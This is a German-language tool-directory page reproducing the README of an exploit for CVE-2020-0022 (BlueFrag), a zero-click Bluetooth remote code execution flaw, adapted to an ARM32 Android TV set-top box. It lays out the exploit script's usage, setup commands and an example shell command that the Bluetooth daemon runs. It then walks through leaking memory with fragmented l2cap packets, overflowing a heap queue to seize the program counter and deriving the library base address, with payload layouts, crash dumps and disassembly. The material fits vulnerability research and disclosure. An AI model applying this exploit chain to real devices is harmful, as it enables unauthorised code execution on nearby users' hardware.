Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-0022 — CVE-2020-0022 Schwachstellenausnutzung auf Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9) | Kitploit
Tools/GitHubGitHub/polo35/cve-2020-0022
Android-SicherheitBluetooth-SicherheitSpeicherforensikExploitationShellcodeRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHubpolo35/cve-2020-0022

CVE-2020-0022

CVE-2020-0022 Schwachstellenausnutzung auf Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)

Repository anzeigen
371353vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

########################################################################################

CVE-2020-0022 Schwachstellenausnutzung auf Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Von Polo35 - 2020/08/24

########################################################################################

"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"

########################################################################################

Basiert auf Skripten von Jan Ruge CVE-2020-0022 eine Bluetooth Zero-Click RCE für Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

########################################################################################

EINLEITUNG & TIPPS

########################################################################################

Das Skript verwendet das Python-Bluetooth-Modul, um den ACL-Verbindungs-Handle zu erhalten. Daher müssen Sie die Bluetooth-Bibliotheken und pybluez installieren (Version 0.22 für Python2 und die letzte Version für Python3).

sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez

Sie können dem Skript einen Shell-Befehl als Parameter übergeben, der vom Bluetooth-Daemon mit der system-Funktion ausgeführt wird. Für den Shell-Befehl stehen nur 104 Zeichen zur Verfügung, da die ROP-Kette die ersten 20 Bytes der zweiten Nutzlast belegt.

Beispiel: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"

Das Skript kann adb verwenden, um die Verbindung zu prüfen, logcat zu überwachen und das Ziel bei Bedarf neu zu starten. Dazu müssen Sie die Ziel-IP als Parameter übergeben. Stellen Sie sicher, dass Sie mit adb connect eine Verbindung zum Ziel herstellen und eine Shell öffnen, um die Verbindung zu überprüfen, bevor Sie das Skript verwenden.

Die besten Ergebnisse erzielt man, wenn man das Ziel per Bluetooth mit einem Smartphone verbindet, wenn das Skript dies sagt ;) Es kann mehr als 30 Versuche dauern, den Exploit auszulösen, aber manchmal funktioniert es beim ersten Versuch.

########################################################################################

SPEICHERLEAK MIT ARM32

########################################################################################

Die Bouygues BBox Miami basiert auf einem ARM 32-Bit Cortex A9-Prozessor. Der Unterschied zu ARM64 besteht darin, dass die libc memcpy-Funktion keinen Unterlauf erzeugt, sodass es unmöglich ist, die gleichen Leaks wie Jan Ruge zu erhalten. Die Schwachstelle ist jedoch vorhanden und auf andere Weise ausnutzbar.

Durch das Senden von l2cap-Paketen mit 4-Byte-Fragmentierung können wir in reassemble_and_dispatch eine memcpy der Länge 0 auslösen. Dadurch können wir am Ende des Echos 4 Bytes nicht initialisierter Daten erhalten.

Durch Erhöhen der ersten Paketlänge (im Folgenden mem_offset genannt) können wir im nicht initialisierten Speicher „umhergehen“. Das Erhalten von 32 Echos mit demselben mem_offset liefert 2 bis 8 ausnutzbare Echos. Echos wiederholen sich, daher ist es nicht nötig, mehr als 32 Echos mit demselben mem_offset zu erhalten. Diese Methode füllt den Speicher auch mit den Paketen, sodass es einfach ist, Muster zu erkennen und Offsets in den Leaks zu finden.

Der mem_offset ist die Länge des l2cap-Pakets in Zeichen. Beispiel: mem_offset 184 = l2cap-Paket mit 184 Zeichen = l2cap-Paket mit 368 Bytes.

Beispiel für das „Umhergehen“ im Speicher und nicht initialisierte Daten mit Wiederholungen:

176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................

Wir können bei mem_offset 180 und 184 einige Speicheradressen im Little-Endian-Format sehen.

a4ce80a3 ergibt Adresse 0xa380cea4 24d280a3 ergibt Adresse 0xa380d224 a4d580a3 ergibt Adresse 0xa380d5a4 9cce80a3 ergibt Adresse 0xa380ce9c 1cd280a3 ergibt Adresse 0xa380d21c 9cd580a3 ergibt Adresse 0xa380d59c

Es gibt mindestens 4 oder 5 mem_offset, bei denen es möglich ist, nach fast jedem Neustart echte Speicheradressen zu finden. Wie wir sie verwenden können, wird später gezeigt.

########################################################################################

ANALYSE DES ERSTEN ABSTURZES

########################################################################################

Durch das Senden von l2cap-Paketen mit 2-Byte-Fragmentierung können wir in reassemble_and_dispatch eine memcpy der Länge -2 auslösen. Dadurch können wir außerhalb des partiellen Pakets mit 30 Bytes kontrollierter Daten aus dem zweiten Paket überlaufen lassen. Aufgrund der 30 kopierten Bytes ist es nicht erforderlich, Pakete größer als 32 Bytes mit den letzten 4 Bytes null zu senden.

Diese Überlaufmethode führt manchmal zum Absturz des Bluetooth-Daemons mit kontrolliertem R0-Register in _Z11list_appendP6list_tPv+65:

HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

Die Disassemblierung bei 001298e2 ergibt:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Lade R0 von R4+0x10 .text:0x1298E2 LDR R1, [R0] => Lade R1 von R0 => Absturz, wenn nicht kontrolliert !!! .text:0x1298E4 MOVS R0, #8 => Setze 8 in R0 .text:0x1298E6 BLX R1 => Branch mit Link und Austausch zu R1 => Verzweige zu kontrolliertem R1

Die Dekompilation zeigt, dass wir den Speicher an Adresse R4+0x10 überschreiben, was der Allokator im Aufruf "node = list->allocator->alloc(8)" ist:

signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }

Der Daemon stürzte bei LDR R1, [R0] mit R0-Register = dead0003 ab, als versucht wurde, die Adresse zu laden. Wir können R0 mit der ersten Nutzlast + 0xC kontrollieren. Wenn wir also eine gültige Adresse dort platzieren, können wir R1 mit LDR R1, [R0] kontrollieren und dann PC mit BLX R1.

########################################################################################

KONTROLLE DES PROGRAMMZÄHLERS DURCH ÜBERLAUF EINER GELEAKTEN ADRESSE

########################################################################################

Mit der Überlaufmethode und der ersten Speicheradresse, die bei mem_offset 180 gefunden wurde, können wir den Absturz auf eine Verzweigung zum kontrollierten R1-Register verschieben.

HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer... HCI: Found link transmit data buffer queue at 0xa458dbc4 HCI: Getting bluetooth library function pointers... HCI: Found SetDataAdvDataSender function at 0x8a4a3b29 HCI: Found bluetooth library base address at 0x8a3ce000 Building the payloads... First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4 0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006 Second payload: 0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a 0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e 0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012 0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016 0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a 0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e 0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022 0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026 0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a 0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e 0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032 0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034 Prepare to connect to the target via bluetooth with your smartphone HCI: Spraying second payload at 0xa458dbc4 Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3) ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!! 07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue) 07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' 07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0' 07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm' 07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<< 07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032 07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000 07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001 07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030 07-20 09:28:01.228 21061 21061 F DEBUG : 07-20 09:28:01.228 21061 21061 F DEBUG : backtrace: 07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032 07-20 09:28:01.228 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) 07-20 09:28:01.228 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) 07-20 09:28:01.228 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) 07-20 09:28:01.228 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) 07-20 09:28:01.228 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) 07-20 09:28:01.228 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) 07-20 09:28:01.228 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) 07-20 09:28:01.228 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) 07-20 09:28:01.228 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) 07-20 09:28:01.228 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) 07-20 09:28:01.228 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

Die gleiche Disassemblierung bei 001298e7 ergibt:

.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Lade R0 von R4+0x10 .text:0x1298E2 LDR R1, [R0] => Lade R1 von R0 => Absturz, wenn nicht kontrolliert .text:0x1298E4 MOVS R0, #8 => Setze 8 in R0 .text:0x1298E6 BLX R1 => Branch mit Link und Austausch zu R1 => Verzweige zu kontrolliertem R1 !!! .text:0x1298E8 MOV R1, R0

Der Daemon stürzt jetzt bei BLX R1 mit R1-Register = dead0033 ab. Dies ist das Muster, das bei fragmentierten Paketen gesendet wird, wenn Leaks bei mem_offset 184 auftreten. Dies wird die zweite Nutzlast mit einer bekannten Adresse bei einem Offset von - 0xb0 von der ersten Speicheradresse, die bei mem_offset 180 gefunden wurde.

Wir können jetzt den PC der Bibliothek bluetooth.marvellberlin.so steuern. Es gibt einen zweiten Speicherort mit den Daten, und wir kennen die Adresse davon.

Nach dem Signal enthalten die Register:

  • R0 = 0x8
  • R1 = Wert der zweiten Nutzlast + 0xb0
  • R4 = Adresse der ersten Nutzlast - 0x4

########################################################################################

ERHALTEN DER BLUETOOTH-BIBLIOTHEKS-BASISADRESSE

########################################################################################

Mit der Leak-Methode bei mem_offset 28 können wir einige Speicheradressen finden:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.

Wir sehen die Leaks 29546c8f und 292b728f, die im Little-Endian-Format die Adressen 0x8f6c5429 und 0x8f722b29 ergeben.

Mit der Overflow-Methode unter Verwendung dieser Adressen stürzt der Daemon in bluetooth.marvellberlin.so mit folgendem Crash-Dump ab:

libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)

Wir landen im .text-Abschnitt der Bibliothek bluetooth.marvellberlin.so beim Offset 000d5b3c.

.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]

Der Absturz erfolgt bei 0xd5b3c direkt nach dem Start einer Funktion, daher ist die gefundene Adresse ein Zeiger auf diese Funktion. Diese Funktion ist SetDataAdvDataSender der Klasse BleAdvertisingManagerImpl, die als Zeiger in der SetData-Funktion der Datei btm_ble_multi_adv.cc verwendet wird.

void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }

Wir haben nun die Adresse einer festen Position in der Bibliothek bluetooth.marvellberlin.so und können die Basisadresse dieser Bibliothek berechnen. Der tatsächliche Offset zur Basisadresse der Bibliothek beträgt 0xD5B29 ab dem Zeiger auf die Funktion SetDataAdvDataSender, der bei mem_offset 28 gefunden wurde.

Im obigen Beispiel haben wir die Funktion SetDataAdvDataSender bei 0x8C35DB29 gefunden und diese Adresse überschrieben. Die Basisadresse der Bluetooth-Bibliothek war 0x8C35DB29 - 0xD5B29 = 0x8C288000.

Wir haben auch einen Zeiger auf 0x8C300429 im selben Leak bei mem_offset 28 gefunden. Der Offset zwischen den beiden gefundenen Adressen beträgt 0x8C35DB29 - 0x8C300429 = 0x5D700. Wir wissen, dass SetDataAdvDataSender bei 0xD5B28 in der Bluetooth-Bibliothek liegt, daher können wir die Adresse des zweiten gefundenen Zeigers berechnen: 0xD5B28 - 0x5D700 = 0x78428. Bei 0x78428 in der Bluetooth-Bibliothek befindet sich die Funktion bte_hh_evt, die in den Funktionen btif_hh_service_registration und btif_hh_execute_service der Datei btif_hh.cc verwendet wird.

void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }

bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }

Die beiden gefundenen Adressen bei mem_offset 28 enden immer mit 0xB29 für die Funktion SetDataAdvDataSender und mit 0x429 für die Funktion bte_hh_evt. Mit dieser Methode benötigen wir nur eine der beiden bekannten Adressen im Leak, um die Basisadresse der Bluetooth-Bibliothek zu finden.

Zusammenfassend können wir die Basisadresse der Bluetooth-Bibliothek wie folgt ermitteln:

  • Gefundene Adresse der Funktion SetDataAdvDataSender, die auf 0xB29 endet => Offset von 0xD5B28 anwenden
  • Gefundene Adresse der Funktion bte_hh_evt, die auf 0x429 endet => Offset von 0x78429 anwenden

########################################################################################

ANALYSE DES ABSTURZES MIT ANDROID QUELLCODE

########################################################################################

Der Quellcode von Android Oreo 8.1 zeigt, dass wir einen Teil des Link-Übermittlungsdatenpuffer-Queue-Objekts p_lcb->link_xmit_data_q überschreiben.

Die Funktion l2c_rcv_acl_data erstellt das Objekt tL2C_LCB* p_lcb und übergibt es an die Funktion l2c_link_check_send_pkts, die das Paket an die Warteschlange link_xmit_data_q anhängt.

void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }

tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];

for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }

p_lcb wird aus dem statischen Objekt l2cb.lcb_pool[0] entnommen, wie in l2c_main.cc definiert.

// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;

static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }

